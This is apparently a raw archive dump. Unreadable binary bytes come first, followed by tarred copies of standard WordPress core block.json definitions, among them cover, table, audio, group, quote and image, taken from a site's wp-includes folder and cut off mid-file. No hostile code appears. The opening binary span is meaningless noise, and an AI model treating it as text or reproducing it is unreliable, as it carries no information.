`�b���Ꙟ��i ���h�����9�^�Ӓ¢��	�c�2�)htq�}M/���B�<�j��z-?���Ԑ����J�7�������"��J�6~_�7@l^��q�h�"n'*)�4�?�~�T�3�Ϩ��נf�A33p��Þ��֩{h����f�HwT�k�h���~�����t����G���B�����d��i��\����'P`d��Q�C�k���n�P��B䙮���čdpb{|b�	Y��Gs�юNCw�{@����np�BƨC�5K��@�mK�K'�L����92�\�����q̂v�V���)�Gl�"�Ċ}�KE���C!���62"㷎��q�`��ɢ��%���b^Ur鴈	��`&�ﲔ�C�EJe"nOU3�61�(�8�p�0�	Eh���bUP|�^�|��$1�A�LjG=��Z/�2��X�ϻJ������f�KZ�/��ц�Yp�����*��o��(6L��&���d
����ER_����Ѻ�q����mVX�d1⭕�@�Y�H;HH9T챎�*��d'�0�|�B	͉vڛ��'���Ð���`D�)@g:��Aݡ���l7�Y ��y��uFr�cL��{�5�i)%��2&NM�i	٨���RA{W���U�Q�7�_�p��R��7�[�
�Dnj�ŮTG�
�b����W������D�=d�r)i셅X���o��Ԋ	��Sz;3+���2�$�.ѱ����z����eI��m�Pvآq#�LTGc^���z�l�]B!3J�������r��՝`6����/���uZ�X����(K�Y��ȍ�@4ߗ��M�)V��0�_#�;NQU��@��9y3�#G�C���m#t����,fK�Ӳ����X����FuXܶu~ZF��R�t�S��|��u�`z�7��k��f#����q��Wԛ���(����1�~�q2�,�ԓ��D|n�oA_�J�I���o����X��TXZ5/��y�E(� �dÃ��ʉ��x�S�[yn���ڋ=w�����bG{��.�ٍDX�)t�j��(`Ҭ���Jig�p��E5�Ӳ���~����YX�(v�S�,H�W�j��\o�D<S�a�no���4��H�g��Tp��IO�2��,� #7a�Fx���zO׼�$�c�,�X�^/f^�gYe��t��K'p4��/>j��G�:�V-��g�Ar�!�ϋ%�A�eĒ�&��&f�6�H!�H�HF{I���Q��c���V��лr;�sar&6Q�X)�e#DJ��j��Nw8<!i��Ö��HZ�6z<���6�]
�j|�/1j�M`�?����F��V�?�%�;_2��&` ��pu�`�B=g�aF�J�����s�΍�9k�Xj���	l�2rj�k�cH:�,��k�Y�f�6�h�x��Y�+�+�U��[Z��w
������.3K�S�}v�ܢ�B:>�C�3k�X����WZf�b.z�EGnS�'��$��ᶌ5��3C���r���+���5Z0�|�B�S�g�
衻�/g��_}��+��!�'�+�nnbγe/o�f��%}�vY����Lc��w2*��8x�χoU1��:=-������B)���3{��$?Qa�Wə����Q�Ro�wo+��V���p}e`��(U�h�b`h��T�#����+��5���#
�A"��T�h�!^N�Xj�c���R�p$��y-�:�\~�GyJ�
�
W���x�X�=^�x�~a-��v\i���G�e'R����Qǫu��+5����\4��Q��|�����*�lUdL{��̈́m��4bH�bcIҦ���BʟU}�}
�a���ϵ�s!�I��:Eg��ҏR���ݓ�篪6�H:�7��04�

5����dž߇_��*W9~DH��ͅ�F�Eu��w��I>�%�u�$M#��IG��F��<��nz_?���ׄ���bG�g��ļ����2H`�?|��I7�$�����;�E!NWE7����yI���s��c9׫M3��H�	�zr,�}���4Fx��5KS�,�1����߸���P֖ۘ�T]jg+��HM�b4N��t�G�8qwۜ��a���iG�;ѱz��q�7�X��`����������גau1��(��9�N-�\a��U�G����!��|6+�Z.r]�^bJr��(�n��
��X��z�g!v��(^�+߆W�{F�KG���2�,Q�m�6DKSl9l�S�~�GpuMu����U�	��I|I�+H��xpS�R�QPL�ϲ}N(Vm�QFI�1R	:L���δ���é͌d�Tj>�$z��O�_�c>�ml��j�Q;\�5��xBe7�4Y���50��2�ƸtOT!w�:{�Q���W�{ΖC�9�c�/�z��Y� yWL�����FiN?��ʘ-�&1�é�6��zX�M��Ue��Q��s���P)���y���(�Ewj]f?ꌧ��TL4�sV.�D���c,hV�������tNԿ���ֻ�(��4+�9��8���V�(�X�
�n�6�{@
�%�EUD�dZ`��q�`R%��3�\��Ã����9Be��e<|�=���y�S7/��ҵx�;c�8�A��v�
�א6�\n�+���ɖ�Y;r��sy�����QwbpU��O��P3���E��I�ƠQ��A�����x�Y���`�>���Z��]�-G^G�~��ؽ��bT��SR��$	���b:����
:�p2`x0��a� Q�^����Z1/r�ݸt=Z�'�I_0�i������O��N/��u�aE+�gdL$���,�0&�Y"I'Dw_�F6Ē{���	�R�Ef����cOj�����O�)�|bPv3
�:e�@�@c
I�h\L�`>���cՇ&#��y"�Цz���M��՞���s��E�IC��2XlZ ��c�Y^5�p�N��ߔ1��Gw�UV袄l���}���o
<l�`��t��$<y���P�DIí(3���œ1c�Il��m뺬|Im��A�dR�kۏ���ùf~ے��o-	�9���B:C��*�w�s���ʉ\AADl��$�`�FNh#4;�r����h�c�zO������b!�h�l������P�2�E�
ĭ��B��C�5m
u�g`_b4
Zr@��#y����U/����j8N':K_�o٨ٔ�S��c�W����Hh�Q���D4q�
��mkA�/��'��c�j�&M�_R:&*$8��{��c:�1q�v�P��v��c��l
���bVi�+�7�T�o}L`�#��	D
�H"Q	&�'�H	KKē+��5~�@��f4]�R�f�J�
ve6�ni�M€�`�
��;Kpb��7�^�4:��8��5�,Oil�g6]� �e��M�}�˼�Q�g֜�}�Y:��t8�vQ�dZ$��V����n�(�+�$�#��]�*4�W�����֩�4��AU�dŜf����wc��F����_���)ݢv���U����XvH毖ݯDz{�&��{$7���u�\�L���;!�������A �5,�UT�c��.�#�Mx��M���C���.ZʼnW��wF�+F+�N��[e�U��OW��������R�i-�Di�fǟ*����-;�{���ĉ�j�r���)�I�����~���g�T�J��x��ki'�uh���f;�ܢj�C�?x��?�-5��⨘qk
b���5_L���M�)�ꛮ̺ީ�j�Y�/�\����p锒�z1c��!}��ů��hU�].�VL`�j���,i�r
�ĐTܡ7YD�mI�%޹���3�����	t��d����/ɺХ�/��K7K���8���midM�8����tl�,g���g,+9�.r�Y%9к~Z� �>��<o�1�X�������l{9#���J'��Ϯ<�������nA�O���Ku
��$��)g�Lx8߉�J�����޻�ܥ��ݻ7L���x*�����Yܿ�����I�t�8�c7m���F|_�f�h�dv�M�,��D"pfi'�v�{CƖ�5َ���?�
+l�i�;��/�%���繽�!��}�)��֍��,L���2��\����ӖPg j�tQ���d���o���R��'�K��h�'{�$VY�d+��U�SmX��0�1�K�3����#I'��:�q2� ���*6^�ɢ%Y3�Ddr����6�	Jx����/�ɳT\�`}�}���
Y~�����
�$�O��P�+�i̊��o���
��?ˇ	4���M߫�Y��B��餋���e�:u/h�sa�!�9f���t@Q´e��Ylx��>n$0O�������-���OL��K;�t~h�`�A!V])k=/b��
]5��{Hb���$�6x�K�dg�JNSG�{4�>�O{.K��ͫ�^ۈɗ��7%l���)��<<�Y =��8
�!J$X�Еz��6�:25�^�O���~D��>����0o��;���������1�+�`j~��*��/0��;PJ�(�ӯ����`����Ոh�#=�`��0z�3����q�x)w&�)ɠ���ΐ��>-�T��M3{�Y��	m�e���7�}UɌ��
�OxH,Rn>K�?�8��4��E[r�'4`N㩈���5�V`h�`��|�<��l�]�yvR�Ml�mץ߱��@�W�bz�2��{���b|�^f�T�卮�6�{��F��Ib����q1���W&��F�%�P�E��r߱����m��+z�q��ۺ�y��a���-
��߽~ѫF��\О����l�;��7����yeK��R��F��^\B6��}�@�`S#U}�P`������t�醖4��o�|�᫖:w&K��+��ţX-1�UGxz�tqw�
�fR#y%�u�/=�}�ށ��fP�{o��pm���O��]�,�������Ugu��.�������A��<�Z�β�[�� ([��x�`X�s5Ë�O0�~$)-�<W@�:�W�a縴B^�Nr*�P�/N�+S�A`�r�+�[.���5Z\*��>�Oă2ab�Z�疾G%t��m?N!0��f|�Ў�<���4���l�dcW��fr�#�,Z:>�.W�Yl�1���F�@5T|m;������j��m�A���7z��
'g9Q9�Z�� ��A�Ng;�f�0K�m�x��<�g([w-��_�q�\j�����m�7ݡ�H��=1�)+|׬��r���jʉ����+'ߛ�)�++Q�h�/�S�p���3/앸�9���Iʎ��_�H�]���"�^��8�7��,�]��M���&�V�j^�Kޤ.�ɛ����R
�U�EX�Guq�����^���AfP�.fw%zV����Fİ�'y���3�r!X$�b�%�?x!��c����IvH���q��!m�H��5ѱޖ�n���.�{�%c���	���2�oN�|�ģCbQ��h�d��S>j$#��A��)��&7��h
�{@�I5Ƹ\��k����-�.W�M���]K#��~��M,�3�0~{c�`oA�ڙ�(L-��$�5��*j��T��]Y1Bk�L�m���c�\�g��f���t�6���T�v{A�5�P\m��H����/̻��I��9(�L08Fk��z���uc~�E�f�z��HC䀯�0�ݺ���
1���K���@�/�j[Ԕ(��<T�NR��0m���B��g���	�n\h(�8p|��Z7�Rz�"ws�5�4�.\��.!1�x7�
�k��a�ޖ-i�~3
_�ق� J/��b�t�����{��&,Q�K]�]/Ŷ��cY�Ȝ�H�m(zEሩj�~���W+ђڗhyz�n.�*��e��Ky��J��fs�\G��yͿ|��X���"*�T�Z�G�L��2���W��M��0��{ �[#>���`�[ף6�oT��]i4��~lr'hc�������iH����6|�z�	�9�Wd5֟v|��Ee�/"v��n��hi�2��5���q���ht6L��R�i[t��폶7}s���Գ���N�Y���0.�궥ly�E�/<5h=F'¥��Uv!#L�8�r�����?\�Z.��5�����ڔ��2����`5���\�\y
�5lE�}����2|��א�:������9�/$O<W�����*�~��-(9�ra�ø���u&�ː�8˯��pl6��f����Ӣ�q*��#��L&.tJ{�](�bž/(�|�!"=4i�E4߂���b0;a<R��k�`�Ue��q�OE�rT$KA������@R#�hg�d�YH�S����1��ɤ'�O|��/%ǟ}�L������E��+��?��R�m�Z@{�7��~d3�t��ס)����[�G���K?j<wq��(�L-��^�s�:�4�*�l���'��a��9�A,G�����t�a{QR�=Ḃl ��0j~φ�jЈ�
㡳8�
A2g�:<?���w��6�|68���uhR��~��9@Q���	��P����\#��9�罉�7ߨѮ�P�/djT�ka�� �Ưw��3��N�P_kG��:�(���K��<Ō%ܡ���W�ԝ�����U[�#�B�u�[�:hX̪(0Bao�@��a�W�l3w$��d�i�(�����Z��!�
�r+��O��.�6Q(�|�I�0G�Y��E
��r��)�V=}�at�ýϽ�2��A4o�A�[AK���o���P���g��ŀ�J���'��	��FDc��?雼�{�J���sb�WE{%��Q�'��V�R^�%uq�	pj΁<׷k.�m��LMv����|�������ߗ��A����14338/block.json.tar000064400000154000151024420100007765 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/cover/block.json000064400000005415151024266300025740 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/cover",
	"title": "Cover",
	"category": "media",
	"description": "Add an image or video with a text overlay.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string"
		},
		"useFeaturedImage": {
			"type": "boolean",
			"default": false
		},
		"id": {
			"type": "number"
		},
		"alt": {
			"type": "string",
			"default": ""
		},
		"hasParallax": {
			"type": "boolean",
			"default": false
		},
		"isRepeated": {
			"type": "boolean",
			"default": false
		},
		"dimRatio": {
			"type": "number",
			"default": 100
		},
		"overlayColor": {
			"type": "string"
		},
		"customOverlayColor": {
			"type": "string"
		},
		"isUserOverlayColor": {
			"type": "boolean"
		},
		"backgroundType": {
			"type": "string",
			"default": "image"
		},
		"focalPoint": {
			"type": "object"
		},
		"minHeight": {
			"type": "number"
		},
		"minHeightUnit": {
			"type": "string"
		},
		"gradient": {
			"type": "string"
		},
		"customGradient": {
			"type": "string"
		},
		"contentPosition": {
			"type": "string"
		},
		"isDark": {
			"type": "boolean",
			"default": true
		},
		"allowedBlocks": {
			"type": "array"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"sizeSlug": {
			"type": "string"
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"anchor": true,
		"align": true,
		"html": false,
		"shadow": true,
		"spacing": {
			"padding": true,
			"margin": [ "top", "bottom" ],
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"color": {
			"__experimentalDuotone": "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
			"heading": true,
			"text": true,
			"background": false,
			"__experimentalSkipSerialization": [ "gradients" ],
			"enableContrastChecker": false
		},
		"dimensions": {
			"aspectRatio": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowJustification": false
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-cover-editor",
	"style": "wp-block-cover"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/table/block.json000064400000010470151024266540025714 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/table",
	"title": "Table",
	"category": "text",
	"description": "Create structured content in rows and columns to display information.",
	"textdomain": "default",
	"attributes": {
		"hasFixedLayout": {
			"type": "boolean",
			"default": true
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption"
		},
		"head": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "thead tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		},
		"body": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "tbody tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		},
		"foot": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "tfoot tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"color": {
			"__experimentalSkipSerialization": true,
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"__experimentalSkipSerialization": true,
			"color": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"style": true,
				"width": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"selectors": {
		"root": ".wp-block-table > table",
		"spacing": ".wp-block-table"
	},
	"styles": [
		{
			"name": "regular",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "stripes", "label": "Stripes" }
	],
	"editorStyle": "wp-block-table-editor",
	"style": "wp-block-table"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/audio/block.json000064400000002457151024266630025734 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/audio",
	"title": "Audio",
	"category": "media",
	"description": "Embed a simple audio player.",
	"keywords": [ "music", "sound", "podcast", "recording" ],
	"textdomain": "default",
	"attributes": {
		"blob": {
			"type": "string",
			"role": "local"
		},
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "src",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "autoplay"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "loop"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "preload"
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-audio-editor",
	"style": "wp-block-audio"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/group/block.json000064400000004063151024266640025763 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/group",
	"title": "Group",
	"category": "design",
	"description": "Gather blocks in a layout container.",
	"keywords": [ "container", "wrapper", "row", "section" ],
	"textdomain": "default",
	"attributes": {
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"allowedBlocks": {
			"type": "array"
		}
	},
	"supports": {
		"__experimentalOnEnter": true,
		"__experimentalOnMerge": true,
		"__experimentalSettings": true,
		"align": [ "wide", "full" ],
		"anchor": true,
		"ariaLabel": true,
		"html": false,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"color": {
			"gradients": true,
			"heading": true,
			"button": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"shadow": true,
		"spacing": {
			"margin": [ "top", "bottom" ],
			"padding": true,
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"dimensions": {
			"minHeight": true
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"position": {
			"sticky": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowSizingOnChildren": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-group-editor",
	"style": "wp-block-group"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/verse/block.json000064400000003256151024266710025754 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/verse",
	"title": "Verse",
	"category": "text",
	"description": "Insert poetry. Use special spacing formats. Or quote song lyrics.",
	"keywords": [ "poetry", "poem" ],
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "pre",
			"__unstablePreserveWhiteSpace": true,
			"role": "content"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"dimensions": {
			"minHeight": true,
			"__experimentalDefaultControls": {
				"minHeight": false
			}
		},
		"typography": {
			"fontSize": true,
			"__experimentalFontFamily": true,
			"lineHeight": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"width": true,
			"color": true,
			"style": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-verse",
	"editorStyle": "wp-block-verse-editor"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/rss/block.json000064400000002430151024270130025417 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/rss",
	"title": "RSS",
	"category": "widgets",
	"description": "Display entries from any RSS or Atom feed.",
	"keywords": [ "atom", "feed" ],
	"textdomain": "default",
	"attributes": {
		"columns": {
			"type": "number",
			"default": 2
		},
		"blockLayout": {
			"type": "string",
			"default": "list"
		},
		"feedURL": {
			"type": "string",
			"default": ""
		},
		"itemsToShow": {
			"type": "number",
			"default": 5
		},
		"displayExcerpt": {
			"type": "boolean",
			"default": false
		},
		"displayAuthor": {
			"type": "boolean",
			"default": false
		},
		"displayDate": {
			"type": "boolean",
			"default": false
		},
		"excerptLength": {
			"type": "number",
			"default": 55
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"padding": false,
				"margin": false
			}
		},
		"color": {
			"background": true,
			"text": true,
			"gradients": true,
			"link": true
		}
	},
	"editorStyle": "wp-block-rss-editor",
	"style": "wp-block-rss"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/quote/block.json000064400000004226151024271660025763 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/quote",
	"title": "Quote",
	"category": "text",
	"description": "Give quoted text visual emphasis. \"In quoting others, we cite ourselves.\" — Julio Cortázar",
	"keywords": [ "blockquote", "cite" ],
	"textdomain": "default",
	"attributes": {
		"value": {
			"type": "string",
			"source": "html",
			"selector": "blockquote",
			"multiline": "p",
			"default": "",
			"role": "content"
		},
		"citation": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "cite",
			"role": "content"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"align": [ "left", "right", "wide", "full" ],
		"html": false,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"dimensions": {
			"minHeight": true,
			"__experimentalDefaultControls": {
				"minHeight": false
			}
		},
		"__experimentalOnEnter": true,
		"__experimentalOnMerge": true,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"layout": {
			"allowEditing": false
		},
		"spacing": {
			"blockGap": true,
			"padding": true,
			"margin": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{
			"name": "default",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "plain", "label": "Plain" }
	],
	"editorStyle": "wp-block-quote-editor",
	"style": "wp-block-quote"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/social-link/block.json000064400000001444151024272150027025 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/social-link",
	"title": "Social Icon",
	"category": "widgets",
	"parent": [ "core/social-links" ],
	"description": "Display an icon linking to a social profile or site.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string",
			"role": "content"
		},
		"service": {
			"type": "string"
		},
		"label": {
			"type": "string",
			"role": "content"
		},
		"rel": {
			"type": "string"
		}
	},
	"usesContext": [
		"openInNewTab",
		"showLabels",
		"iconColor",
		"iconColorValue",
		"iconBackgroundColor",
		"iconBackgroundColorValue"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-social-link-editor"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query-title/block.json000064400000002777151024272220027114 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-title",
	"title": "Query Title",
	"category": "theme",
	"description": "Display the query title.",
	"textdomain": "default",
	"attributes": {
		"type": {
			"type": "string"
		},
		"textAlign": {
			"type": "string"
		},
		"level": {
			"type": "number",
			"default": 1
		},
		"levelOptions": {
			"type": "array"
		},
		"showPrefix": {
			"type": "boolean",
			"default": true
		},
		"showSearchTerm": {
			"type": "boolean",
			"default": true
		}
	},
	"example": {
		"attributes": {
			"type": "search"
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"style": "wp-block-query-title"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/image/block.json000064400000005650151024277610025713 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/image",
	"title": "Image",
	"category": "media",
	"usesContext": [
		"allowResize",
		"imageCrop",
		"fixedHeight",
		"postId",
		"postType",
		"queryId"
	],
	"description": "Insert an image to make a visual statement.",
	"keywords": [ "img", "photo", "picture" ],
	"textdomain": "default",
	"attributes": {
		"blob": {
			"type": "string",
			"role": "local"
		},
		"url": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "src",
			"role": "content"
		},
		"alt": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "alt",
			"default": "",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"lightbox": {
			"type": "object",
			"enabled": {
				"type": "boolean"
			}
		},
		"title": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "title",
			"role": "content"
		},
		"href": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "href",
			"role": "content"
		},
		"rel": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "rel"
		},
		"linkClass": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "class"
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"width": {
			"type": "string"
		},
		"height": {
			"type": "string"
		},
		"aspectRatio": {
			"type": "string"
		},
		"scale": {
			"type": "string"
		},
		"sizeSlug": {
			"type": "string"
		},
		"linkDestination": {
			"type": "string"
		},
		"linkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "target"
		}
	},
	"supports": {
		"interactivity": true,
		"align": [ "left", "center", "right", "wide", "full" ],
		"anchor": true,
		"color": {
			"text": false,
			"background": false
		},
		"filter": {
			"duotone": true
		},
		"spacing": {
			"margin": true
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"width": true,
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"width": true
			}
		},
		"shadow": {
			"__experimentalSkipSerialization": true
		}
	},
	"selectors": {
		"border": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
		"shadow": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
		"filter": {
			"duotone": ".wp-block-image img, .wp-block-image .components-placeholder"
		}
	},
	"styles": [
		{
			"name": "default",
			"label": "Default",
			"isDefault": true
		},
